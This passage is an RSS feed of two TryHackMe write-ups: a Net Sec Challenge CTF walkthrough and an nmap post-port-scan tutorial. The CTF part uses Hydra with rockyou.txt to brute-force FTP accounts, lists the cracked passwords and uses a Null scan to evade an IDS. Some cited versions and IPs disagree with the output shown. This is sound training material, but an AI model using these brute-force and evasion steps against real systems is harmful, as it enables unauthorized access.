<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Oluwakamiye Adeyemo on Medium]]></title>
        <description><![CDATA[Stories by Oluwakamiye Adeyemo on Medium]]></description>
        <link>https://medium.com/@oluwakamiye?source=rss-824919a2e164------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*C06oct96votnJiqABNWjrw.jpeg</url>
            <title>Stories by Oluwakamiye Adeyemo on Medium</title>
            <link>https://medium.com/@oluwakamiye?source=rss-824919a2e164------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 23:59:57 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@oluwakamiye/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Net Sec Challenge (TryHackMe)— CTF ]]></title>
            <link>https://oluwakamiye.medium.com/net-sec-challenge-tryhackme-ctf-da1fdd9bacb8?source=rss-824919a2e164------2</link>
            <guid isPermaLink="false">https://medium.com/p/da1fdd9bacb8</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Oluwakamiye Adeyemo]]></dc:creator>
            <pubDate>Wed, 05 Aug 2026 11:31:26 GMT</pubDate>
            <atom:updated>2026-08-05T11:31:26.257Z</atom:updated>
            <content:encoded><![CDATA[<p>The Net Sec Challenge room on TryHackMe is an exciting challenge that tested my skills in utilising core cybersecurity tools like Nmap (for network mapping) and Hydra (for password cracking). I also worked with the File Transfer Protocol (FTP) to download a sensitive text file from a remote server to my local machine. This write-up details how I captured the flags, answered the questions, and completed the lab requirements.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*IYyI-L4SAv2Y45xL7U7TEQ.gif" /></figure><p><strong>Capture the Flag (CTF)</strong> in cybersecurity is a competitive learning exercise where participants find hidden text strings called “flags” by solving security challenges or exploiting vulnerabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gWW0S-in58GVr-aH3rlndg.png" /></figure><p>The Net Sec Challenge is a room in the Network Security module on TryHackMe. The module introduces passive and active network reconnaissance, using Nmap to perform live host discovery, basic/advanced port scans, OS and service version detection, and a dive into common network protocols — how they work and their potential attacks. Net Sec Challenge wraps off the module by testing these concepts.</p><blockquote><strong><em>Question 1</em></strong></blockquote><p><strong>What is the highest port number that is open and less than 10,000?</strong></p><p>To answer this question, I started by running an Nmap scan against the target machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2iO8A2p5fic0fMGMgl5Y1w.png" /></figure><p>I ran the command: nmap -sS 10.112.145.61. This command is used to run a stealthy SYN scan to find open ports without completing connection handshakes. The scan returned a report that confirmed the host was up and a list of six open TCP ports, with their port numbers and services.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/1*JQKu0Hw15AxsXtyAlaSiEw.png" /></figure><p><strong>Answer: 8081</strong></p><blockquote><strong><em>Question 2</em></strong></blockquote><p><strong>There is an open port outside the common 1000 ports; it is above 10,100. What is it?</strong></p><p>Looking at what the previous scan returned, there is no port number that is above 10100. The highest port number returned from the scan is 10001. This indicates that the initial scan failed to capture results for the entire port range. To ensure all ports were scanned and to identify the target port above 10100, I used the -p- option.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/1*aaLxVrxojjjP9Zm9dHgfGA.png" /></figure><p>-p- is used to scan all 65,535 ports on a target device. As shown in the screenshot above, the second scan utilising the -p- option successfully revealed a new TCP port above 10100.</p><p><strong>Answer:</strong> <strong>10121</strong></p><blockquote><strong><em>Question 3</em></strong></blockquote><p><strong>How many TCP ports are open?</strong></p><p>All open ports identified in the previous scan utilise the TCP protocol.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/1*aaLxVrxojjjP9Zm9dHgfGA.png" /></figure><p><strong>Answer: 7</strong></p><blockquote><strong><em>Question 4</em></strong></blockquote><p><strong>On port 80, what is the service version value?</strong></p><p>The previous Nmap scans (nmap -sS 10.112.145.61<strong> </strong>and nmap -sS -p- 10.112.145.61) did not return a service version value, nor did they display a VERSION column alongside the PORT, STATE, and SERVICE headers.</p><p>To obtain service version information, I executed an additional Nmap command: nmap -sV 10.112.145.61. The -sV flag is used to scan and detect version information for services running on open ports.</p><p>Executing this command generated the VERSION column, providing information about service versions, including the service version value on port 80, which is the answer to question 4.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/776/1*kNbkCEJ5ZhSSXOYg1jFd1Q.png" /></figure><p><strong>Answer: THM{MySpecialServer007}</strong></p><blockquote><strong><em>Question 5</em></strong></blockquote><p><strong>What is the flag hidden in the SSH server header?</strong></p><p>The flag hidden in the SSH server header can also be found using the previous Nmap scan, nmap -sV 10.112.145.61. Reviewing the output text revealed the hidden flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/1*xwZxdtqhegqm402WWIWEtg.png" /></figure><p><strong>Answer: THM{946219583339}</strong></p><blockquote><strong><em>Question 6</em></strong></blockquote><p><strong>We have an FTP server listening on a nonstandard port. What is the version of the FTP server?</strong></p><p>This time, I executed the nmap -sV 10.112.145.61<strong> </strong>command with the -p-<strong> </strong>option to scan all ports, including nonstandard ones.</p><p>The nmap -sV -p- 10.112.145.61 scan returned a comprehensive list of all open ports, service names, and version values. Instead of the default port 21, I discovered the FTP server and its version details running on port 10121.</p><p>Running FTP on port 10121 instead of port 21 is a common real-world scenario. Network administrators often move common services like FTP to non-standard ports (like 10121) to avoid automated brute-force attacks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/1*a90gnUMrX5MhMkvAwo-l3Q.png" /></figure><p><strong>Answer: vsftpd 3.0.5</strong></p><blockquote><strong><em>Question 7</em></strong></blockquote><p><strong>We learned two usernames using social engineering: eddie and quinn. What is the flag hidden in one of these two account files and accessible via FTP?</strong></p><p>To access these accounts via FTP, I first needed to obtain the passwords. To achieve this, I made use of a login cracker tool called Hydra.</p><p>Hydra is a very fast, popular open-source network login cracker used to perform automated brute-force and dictionary attacks against live remote services. It tests a list of possible usernames and passwords to find valid credentials.</p><p><strong><em>My process for using Hydra to get the passwords to </em></strong><strong><em>eddie&#39;s and </em></strong><strong><em>quinn&#39;s accounts:</em></strong></p><ol><li>I created a .txt file containing the usernames eddie and quinn, and placed it in the same directory as the password file.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/1*uP_9seUs-AoYI0BnoyTdsQ.png" /></figure><p>2. I ran Hydra against the target using the -L option to reference the path to the username.txt file, and using the -P option to reference the path to the rockyou.txt file, which contains a list of passwords to test alongside the usernames. I also specified the FTP port using -s 10121 because FTP wasn’t running on its default port 21.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/1*RO_E3T6V1AWPjszaV0tUyQ.png" /></figure><p><strong><em>Password found!</em></strong></p><p>Hydra successfully matched the password softball to eddie’s account and cookie to quinn&#39;s account.</p><p>I logged into the FTP server using eddie&#39;s credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/1*XXWkG9iMPHgkI2cemecXGA.png" /></figure><p>eddie’s account did not contain any file.</p><p>I logged into the FTP server using quinn&#39;s credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/1*c-WKDRGFa9Xm-x8c403M9Q.png" /></figure><p>quinn’s account contained the sensitive file.</p><p>Using the ls command, I discovered the file that contained the hidden flag: ftp_flag.txt.</p><p>I then executed the command get ftp_flag.txt to download the text file (ftp_flag.txt) from the remote server to my local machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/1*cp4DJmIaZ3ldYIguwO7SdQ.png" /></figure><p>Finally, I located the file on my local machine and displayed its content using cat ftp_flag.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/1*aDylXLuJPrtqtlZv0vxiVg.png" /></figure><p><strong>Answer: THM{QUINN_IS_BACK007}</strong></p><blockquote><strong><em>Question 8</em></strong></blockquote><p><strong>Browsing to </strong><strong>http://10.112.145.61:8081 displays a small challenge that will give you a flag once you solve it. What is the flag?</strong></p><p>This question required using Nmap to scan a website that displays a flag when the scan has a <strong>0%</strong> chance of being detected by an <em>Intrusion Detection System (IDS)</em>.</p><p>By executing a Null Scan using nmap -sN 10.114.186.29, I successfully evaded the <em>Intrusion Detection System (IDS)</em>, causing the target website to display the flag.</p><p>The Null Scan (-sN) worked because it does not set any flag; all six flag bits are set to zero. A TCP packet with no flags set will not trigger any response when it reaches an open port.</p><p>In addition, many standard firewalls and IDS rules are heavily configured to look for common, aggressive patterns like a flood of SYN packets (which indicate a standard port scan or connection attempt). Because a Null packet has no flags, it does not match standard traffic rules, allowing it to slip past basic signature-based detection entirely unnoticed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3lSSkwjmog_dCpCiHc4LFA.png" /></figure><p><strong>Answer: THM{NMAP_CHAMPION001}</strong></p><blockquote><strong><em>Conclusion</em></strong></blockquote><p>Curating this write-up further strengthened my understanding of how to analyze network protocols, execute various Nmap scans, and use Hydra to brute-force accounts.</p><p><strong><em>The practical exercises for this write-up were completed in the </em></strong><a href="https://tryhackme.com/room/netsecchallenge"><strong><em>TryHackMe Network Security Challenge</em></strong></a><strong><em> room.</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=da1fdd9bacb8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Nmap Series: Nmap Post Port Scans — Part 4.]]></title>
            <link>https://oluwakamiye.medium.com/nmap-series-nmap-post-port-scans-part-4-80ec0c3879ab?source=rss-824919a2e164------2</link>
            <guid isPermaLink="false">https://medium.com/p/80ec0c3879ab</guid>
            <category><![CDATA[nmap]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Oluwakamiye Adeyemo]]></dc:creator>
            <pubDate>Wed, 20 May 2026 23:07:31 GMT</pubDate>
            <atom:updated>2026-05-20T23:07:31.140Z</atom:updated>
            <content:encoded><![CDATA[<p>In this write-up, I walk you through the <strong>Nmap Post Port Scans</strong> room on <strong>TryHackMe</strong>. I explore how to leverage Nmap for service and OS detection, use Nmap Scripting Engine (NSE), and save the results in Normal, Grepable, and XML formats.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/336/0*ooj3lZTyzA5BLtDu" /></figure><blockquote><strong><em>Introduction</em></strong></blockquote><p>This room is the last in the Nmap series (part of the Introduction to Network Security module). In this room, we focus on the steps that follow port scanning: in particular, service detection, OS detection, the Nmap scripting engine, and saving the scan results.</p><ol><li><a href="https://tryhackme.com/room/nmap01">Nmap Live Host Discovery</a> —<em> </em><a href="https://medium.com/@oluwakamiye/nmap-series-nmap-live-host-discovery-part-1-5bab2c45f5de"><em>https://medium.com/@oluwakamiye/nmap-series-nmap-live-host-discovery-part-1-5bab2c45f5de</em></a></li><li><a href="https://tryhackme.com/room/nmap02">Nmap Basic Port Scans</a> — <a href="https://medium.com/@oluwakamiye/nmap-series-nmap-basic-port-scans-part-2-778b93193f83"><em>https://medium.com/@oluwakamiye/nmap-series-nmap-basic-port-scans-part-2-778b93193f83</em></a></li><li><a href="https://tryhackme.com/room/nmap03">Nmap Advanced Port Scans</a> — <a href="https://medium.com/@oluwakamiye/nmap-series-nmap-advanced-port-scans-part-3-dd167fc2d566"><em>https://medium.com/@oluwakamiye/nmap-series-nmap-advanced-port-scans-part-3-dd167fc2d566</em></a></li><li><a href="https://tryhackme.com/room/nmap04">Nmap Post Port Scans</a></li></ol><p>In the first room of this series, we learned how Nmap can enumerate targets, discover live hosts, and use reverse DNS to find interesting names. The second and third rooms in the series focused on the basic and advanced types of network port scans.</p><h3>Learning Objectives</h3><p>By the end of this room, you will be able to:</p><ul><li>Extract service and version information from discovered open ports</li><li>Fingerprint the target operating system and map the network path to it</li><li>Extend scan capabilities using the Nmap Scripting Engine (NSE)</li><li>Save and document scan results in multiple formats for reporting</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*AL6Gf5id1rUbStAO.png" /></figure><h3>Machine Access</h3><p>Launch the AttackBox using the Start AttackBox button, and launch the Target machine using the Start Machine button. Get ready to experiment with different Nmap scan types against various virtual machines.</p><blockquote><strong><em>Service Detection</em></strong></blockquote><p>Once Nmap discovers open ports, you can probe each port to identify the service running on it. Further investigation of open ports is essential, as the pentester can use this information to determine whether the service has known vulnerabilities.</p><p>Adding -sV to your Nmap command will collect and determine service and version information for the open ports. You can control the intensity with --version-intensity LEVEL where the level ranges from 0(the lightest) to 9(the most complete). -sV --version-light has an intensity of 2, while -sV --version-all has an intensity of 9.</p><p>It is important to note that using -sV will force Nmap to proceed with the TCP 3-way handshake and establish the connection. The connection establishment is necessary because Nmap cannot discover the version without establishing a connection fully and communicating with the listening service. In other words, a stealth SYN scan -sS is not possible when the -sV option is chosen.</p><p>In the attached AttackBox, enter the following command:</p><p><strong>Terminal</strong></p><pre>root@ip-10-10-166-81:~# sudo nmap -sV --version-light 10.201.118.127<br>sudo: unable to resolve host ip-10-10-166-81: Name or service not known<br>Starting Nmap 7.80 ( https://nmap.org ) at 2026-02-18 07:35 GMT<br>mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers<br>mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers<br>Nmap scan report for 10.201.118.127<br>Host is up (0.071s latency).<br>Not shown: 992 closed ports<br>PORT    STATE SERVICE  VERSION<br>22/tcp  open  ssh      OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)<br>25/tcp  open  smtp     Postfix smtpd<br>80/tcp  open  http     nginx 1.22.1<br>110/tcp open  pop3     Dovecot pop3d<br>111/tcp open  rpcbind<br>143/tcp open  imap     Dovecot imapd<br>993/tcp open  ssl/imap Dovecot imapd<br>995/tcp open  ssl/pop3 Dovecot pop3d<br>Service Info: Host:  debra2.thm.local; OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 14.49 seconds</pre><p>The console output above shows a simple Nmap stealth SYN scan with the -sV option. Adding the -sV option leads to a new column in the output showing the version for each detected service. For instance, in the case of TCP port 22 being open, instead of 22/tcp open ssh, we obtain 22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u8 (protocol 2.0). Notice that the SSH protocol is guessed as the service because TCP port 22 is open; Nmap didn’t need to connect to port 22 to confirm. However, -sV required connecting to this open port to grab the service banner and any version information it can get, such as nginx 1.6.2. Hence, unlike the <em>service</em> column, the <em>version</em> column is not a guess.</p><p>Note that many Nmap options require root privileges. Unless you are running Nmap as root, you need to use sudo as in the example above.</p><p><strong>Q:</strong> What is the detected version for port 143?</p><p><strong>A:</strong> Dovecot imapd</p><p><strong>Q:</strong> Which service did not have a version detected with --version-light?</p><p><strong>A:</strong> rpcbind</p><blockquote><strong><em>OS Detection and Traceroute</em></strong></blockquote><h3>OS Detection</h3><p>Nmap can detect the Operating System (OS) of a target based on its behaviour and any telltale signs in its network responses. OS detection can be enabled using -O; this is an <em>uppercase O</em> as in OS. In this example, we will run nmap -sS -O 10.113.188.38 on the AttackBox.</p><p><strong>Terminal</strong></p><pre>root@ip-10-10-166-81:~# sudo nmap -sS -O 10.113.188.38<br>sudo: unable to resolve host ip-10-10-166-81: Name or service not known<br>Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-18 08:47 +0000<br>mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers: No such file or directory (2)<br>mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers<br>Nmap scan report for 10.201.118.127<br>Host is up (0.070s latency).<br>Not shown: 992 closed tcp ports (reset)<br>PORT    STATE SERVICE<br>22/tcp  open  ssh<br>25/tcp  open  smtp<br>80/tcp  open  http<br>110/tcp open  pop3<br>111/tcp open  rpcbind<br>143/tcp open  imap<br>993/tcp open  imaps<br>995/tcp open  pop3s<br>No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).<br>TCP/IP fingerprint:<br>OS:SCAN(V=7.98%E=4%D=2/18%OT=22%CT=1%CU=40131%PV=Y%DS=3%DC=I%G=Y%TM=69957C9<br>OS:D%P=x86_64-unknown-linux-gnu)SEQ(SP=103%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=<br>OS:A)SEQ(SP=103%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=105%GCD=1%ISR=10D%<br>OS:TI=Z%CI=Z%II=I%TS=A)SEQ(SP=106%GCD=1%ISR=108%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=<br>OS:106%GCD=2%ISR=109%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M210CST11NW7%O2=M210CST11NW<br>OS:7%O3=M210CNNT11NW7%O4=M210CST11NW7%O5=M210CST11NW7%O6=M210CST11)WIN(W1=F<br>OS:4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(R=Y%DF=Y%T=40%W=F507%O=M<br>OS:210CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)<br>OS:T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S<br>OS:+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=<br>OS:Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G<br>OS:%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)<br><br>Network Distance: 3 hops<br>OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 12.99 seconds</pre><p>In this case, Nmap was unable to determine an exact operating system match for the target host. Although OS detection was performed successfully, the collected TCP/IP fingerprint did not closely match any known signatures in Nmap’s database. As a result, Nmap returned the message “No exact OS matches for host.”</p><p>Despite the lack of a precise match, the fingerprint data still provides useful clues. For example,<strong> TTL </strong>(Time to Live) refers to a value in each network packet that decrements as it passes through routers. Linux systems typically respond with a TTL of 64, while Windows systems commonly use 128. <strong>TCP</strong> sequence behaviour refers to how a system generates and increments TCP sequence numbers, which vary between operating systems and kernel versions. Service responses, such as the banners and protocol quirks observed on open ports, also differ between OS families. Together, these signals strongly indicate that the target is running a 64-bit Linux operating system. For a deeper understanding of how Nmap builds and matches OS fingerprints, refer to the official <a href="https://nmap.org/book/osdetect.html">Nmap OS detection documentation</a>.</p><p>The absence of an exact match may be due to factors such as virtualisation, firewall filtering, cloud networking layers, kernel customisation, or network middleboxes that modify packet characteristics.</p><p>This result highlights an important limitation of OS fingerprinting: while it is a powerful technique, it does not always produce definitive results. Modern systems and virtualised environments often alter TCP/IP stack behaviour, making exact identification more difficult. Therefore, OS detection results should always be interpreted carefully and supported with additional reconnaissance techniques when necessary.</p><h3>Traceroute</h3><p>If you want Nmap to find the routers between you and the target, just add --traceroute. In the following example, Nmap appended a traceroute to its scan results. Note that Nmap’s traceroute works slightly differently from the traceroute command found on Linux and macOS or tracert found on MS Windows. Standard traceroute starts with a packet with a low TTL (Time to Live) and increases it until it reaches the target. Nmap’s traceroute starts with a packet with a high TTL and keeps decrementing it.</p><p>In the following example, we will execute nmap -sS --traceroute 10.113.188.38 on the AttackBox. We can see that the hop count is 3.</p><p><strong>Terminal</strong></p><pre>root@ip-10-10-166-81:~# nmap -sS --traceroute 10.201.118.127<br>Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-18 08:50 +0000<br>mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers: No such file or directory (2)<br>mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers<br>Nmap scan report for 10.201.118.127<br>Host is up (0.071s latency).<br>Not shown: 992 closed tcp ports (reset)<br>PORT    STATE SERVICE<br>22/tcp  open  ssh<br>25/tcp  open  smtp<br>80/tcp  open  http<br>110/tcp open  pop3<br>111/tcp open  rpcbind<br>143/tcp open  imap<br>993/tcp open  imaps<br>995/tcp open  pop3s<br><br>TRACEROUTE (using port 554/tcp)<br>HOP RTT      ADDRESS<br>1   ... 2<br>3   69.89 ms 10.201.118.127<br>Nmap done: 1 IP address (1 host up) scanned in 4.44 seconds</pre><p>It is worth noting that many routers are configured not to send ICMP Time-to-Live exceeded messages, which would prevent us from discovering their IP addresses.</p><p><strong>Q:</strong> Per nmap, which one is the closest OS match after running with the nmap with -O option against 10.113.188.38? (Windows/Linux)</p><p><strong>A:</strong> Linux</p><blockquote><strong><em>Nmap Scripting Engine (NSE)</em></strong></blockquote><p>A script is a piece of code that does not need to be compiled. In other words, it remains in its original human-readable form and does not need to be converted to machine language. Many programs provide additional functionality via scripts; moreover, scripts enable adding custom functionality that was not available via built-in commands. Similarly, Nmap supports scripts written in Lua. A part of Nmap, the Nmap Scripting Engine (NSE) is a Lua interpreter that allows Nmap to execute Nmap scripts written in Lua. However, we don’t need to learn Lua to make use of Nmap scripts.</p><p>Your Nmap default installation can easily contain close to 600 scripts. Take a look at your Nmap installation folder. On the AttackBox, navigate to the directory at /usr/share/nmap/scripts, and you will notice that there are hundreds of scripts conveniently named starting with the protocol they target. We listed all the scripts starting with HTTP in the AttackBox console output below; we found more than 130. With future updates, you can only expect the number of installed scripts to increase. In the AttackBox, enter the following command:</p><p><strong>Terminal</strong></p><pre>root@ip-10-10-166-81:/usr/share/nmap/scripts# ls http*<br>http-adobe-coldfusion-apsa1301.nse      http-passwd.nse<br>http-affiliate-id.nse                   http-phpmyadmin-dir-traversal.nse<br>http-apache-negotiation.nse             http-phpself-xss.nse<br>http-apache-server-status.nse           http-php-version.nse<br>http-aspnet-debug.nse                   http-proxy-brute.nse<br>http-auth-finder.nse                    http-put.nse<br>http-auth.nse                           http-qnap-nas-info.nse<br>http-avaya-ipoffice-users.nse           http-referer-checker.nse<br>http-awstatstotals-exec.nse             http-rfi-spider.nse<br>http-axis2-dir-traversal.nse            http-robots.txt.nse<br>http-backup-finder.nse                  http-robtex-reverse-ip.nse<br>http-barracuda-dir-traversal.nse        http-robtex-shared-ns.nse<br>http-bigip-cookie.nse                   http-sap-netweaver-leak.nse<br>http-brute.nse                          http-security-headers.nse<br>http-cakephp-version.nse                http-server-header.nse<br>http-chrono.nse                         http-shellshock.nse<br>http-cisco-anyconnect.nse               http-sitemap-generator.nse<br>http-coldfusion-subzero.nse             http-slowloris-check.nse<br>http-comments-displayer.nse             http-slowloris.nse<br>http-config-backup.nse                  http-sql-injection.nse<br>http-cookie-flags.nse                   https-redirect.nse<br>http-cors.nse                           http-stored-xss.nse<br>http-cross-domain-policy.nse            http-svn-enum.nse<br>http-csrf.nse                           http-svn-info.nse<br>http-date.nse                           http-title.nse<br>http-default-accounts.nse               http-tplink-dir-traversal.nse<br>http-devframework.nse                   http-trace.nse<br>http-dlink-backdoor.nse                 http-traceroute.nse<br>http-dombased-xss.nse                   http-trane-info.nse<br>http-domino-enum-passwords.nse          http-unsafe-output-escaping.nse<br>http-drupal-enum.nse                    http-useragent-tester.nse<br>http-drupal-enum-users.nse              http-userdir-enum.nse<br>http-enum.nse                           http-vhosts.nse<br>http-errors.nse                         http-virustotal.nse<br>http-exif-spider.nse                    http-vlcstreamer-ls.nse<br>http-favicon.nse                        http-vmware-path-vuln.nse<br>http-feed.nse                           http-vuln-cve2006-3392.nse<br>http-fetch.nse                          http-vuln-cve2009-3960.nse<br>http-fileupload-exploiter.nse           http-vuln-cve2010-0738.nse<br>http-form-brute.nse                     http-vuln-cve2010-2861.nse<br>http-form-fuzzer.nse                    http-vuln-cve2011-3192.nse<br>http-frontpage-login.nse                http-vuln-cve2011-3368.nse<br>http-generator.nse                      http-vuln-cve2012-1823.nse<br>http-git.nse                            http-vuln-cve2013-0156.nse<br>http-gitweb-projects-enum.nse           http-vuln-cve2013-6786.nse<br>http-google-malware.nse                 http-vuln-cve2013-7091.nse<br>http-grep.nse                           http-vuln-cve2014-2126.nse<br>http-headers.nse                        http-vuln-cve2014-2127.nse<br>http-hp-ilo-info.nse                    http-vuln-cve2014-2128.nse<br>http-huawei-hg5xx-vuln.nse              http-vuln-cve2014-2129.nse<br>http-icloud-findmyiphone.nse            http-vuln-cve2014-3704.nse<br>http-icloud-sendmsg.nse                 http-vuln-cve2014-8877.nse<br>http-iis-short-name-brute.nse           http-vuln-cve2015-1427.nse<br>http-iis-webdav-vuln.nse                http-vuln-cve2015-1635.nse<br>http-internal-ip-disclosure.nse         http-vuln-cve2017-1001000.nse<br>http-joomla-brute.nse                   http-vuln-cve2017-5638.nse<br>http-jsonp-detection.nse                http-vuln-cve2017-5689.nse<br>http-litespeed-sourcecode-download.nse  http-vuln-cve2017-8917.nse<br>http-ls.nse                             http-vuln-misfortune-cookie.nse<br>http-majordomo2-dir-traversal.nse       http-vuln-wnr1000-creds.nse<br>http-malware-host.nse                   http-waf-detect.nse<br>http-mcmp.nse                           http-waf-fingerprint.nse<br>http-methods.nse                        http-webdav-scan.nse<br>http-method-tamper.nse                  http-wordpress-brute.nse<br>http-mobileversion-checker.nse          http-wordpress-enum.nse<br>http-ntlm-info.nse                      http-wordpress-users.nse<br>http-open-proxy.nse                     http-xssed.nse<br>http-open-redirect.nse</pre><p>You can specify to use any or a group of these installed scripts; moreover, you can install other users’ scripts and use them for your scans. Let’s begin with the default scripts. You can choose to run the scripts in the default category using --script=default or simply adding -sC. In addition to <a href="https://nmap.org/nsedoc/categories/default.html">default</a>, categories include auth, broadcast, brute, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, and vuln. A brief description is shown in the following table.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2nfJSYp9buE9QQ2KC2z45A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xCqsOcQfieVxZ6VYOyS1Ng.png" /></figure><p>Some scripts belong to more than one category. Moreover, some scripts launch brute-force attacks against services, while others launch DoS attacks and exploit systems. Hence, it is crucial to be careful when selecting scripts to run to avoid crashing services or exploiting them.</p><p>We will use Nmap to run a SYN scan against 10.113.188.38 and execute the default scripts in the console shown below. The command is sudo nmap -sS -sC 10.113.188.38, where -sC will ensure that Nmap will execute the default scripts following the SYN scan. New details appear below. Take a look at the SSH service on port 22; Nmap identified all public keys associated with the running server. Consider another example, the HTTP service at port 80; Nmap retrieved the default page title. We can see that the page has been left as the default.</p><p><strong>Terminal</strong></p><pre>root@ip-10-10-166-81:/usr/share/nmap/scripts# sudo nmap -sS -sC 10.201.118.127<br>sudo: unable to resolve host ip-10-10-166-81: Name or service not known<br>Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-18 09:44 +0000<br>mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers: No such file or directory (2)<br>mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers<br>Nmap scan report for 10.201.118.127<br>Host is up (0.070s latency).<br>Not shown: 992 closed tcp ports (reset)<br>PORT    STATE SERVICE<br>22/tcp  open  ssh<br>| ssh-hostkey: <br>|   256 a3:dc:d7:6b:7e:a4:4e:fa:af:60:f6:24:78:38:16:9e (ECDSA)<br>|_  256 3c:e4:c0:5e:03:cb:65:aa:00:ed:29:fd:f1:d3:e6:a2 (ED25519)<br>25/tcp  open  smtp<br>|_ssl-date: TLS randomness does not represent time<br>|_smtp-commands: debra2.thm.local, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, CHUNKING<br>| ssl-cert: Subject: commonName=debra2.thm.local<br>| Not valid before: 2021-08-10T12:10:58<br>|_Not valid after:  2031-08-08T12:10:58<br>80/tcp  open  http<br>|_http-title: Welcome to nginx on Debian!<br>110/tcp open  pop3<br>|_ssl-date: TLS randomness does not represent time<br>|_pop3-capabilities: PIPELINING SASL RESP-CODES AUTH-RESP-CODE CAPA STLS TOP UIDL<br>| ssl-cert: Subject: commonName=debra2.thm.local<br>| Not valid before: 2021-08-10T12:10:58<br>|_Not valid after:  2031-08-08T12:10:58<br>111/tcp open  rpcbind<br>| rpcinfo: <br>|   program version    port/proto  service<br>|   100000  2,3,4        111/tcp   rpcbind<br>|   100000  2,3,4        111/udp   rpcbind<br>|   100000  3,4          111/tcp6  rpcbind<br>|_  100000  3,4          111/udp6  rpcbind<br>143/tcp open  imap<br>| ssl-cert: Subject: commonName=debra2.thm.local<br>| Not valid before: 2021-08-10T12:10:58<br>|_Not valid after:  2031-08-08T12:10:58<br>|_imap-capabilities: 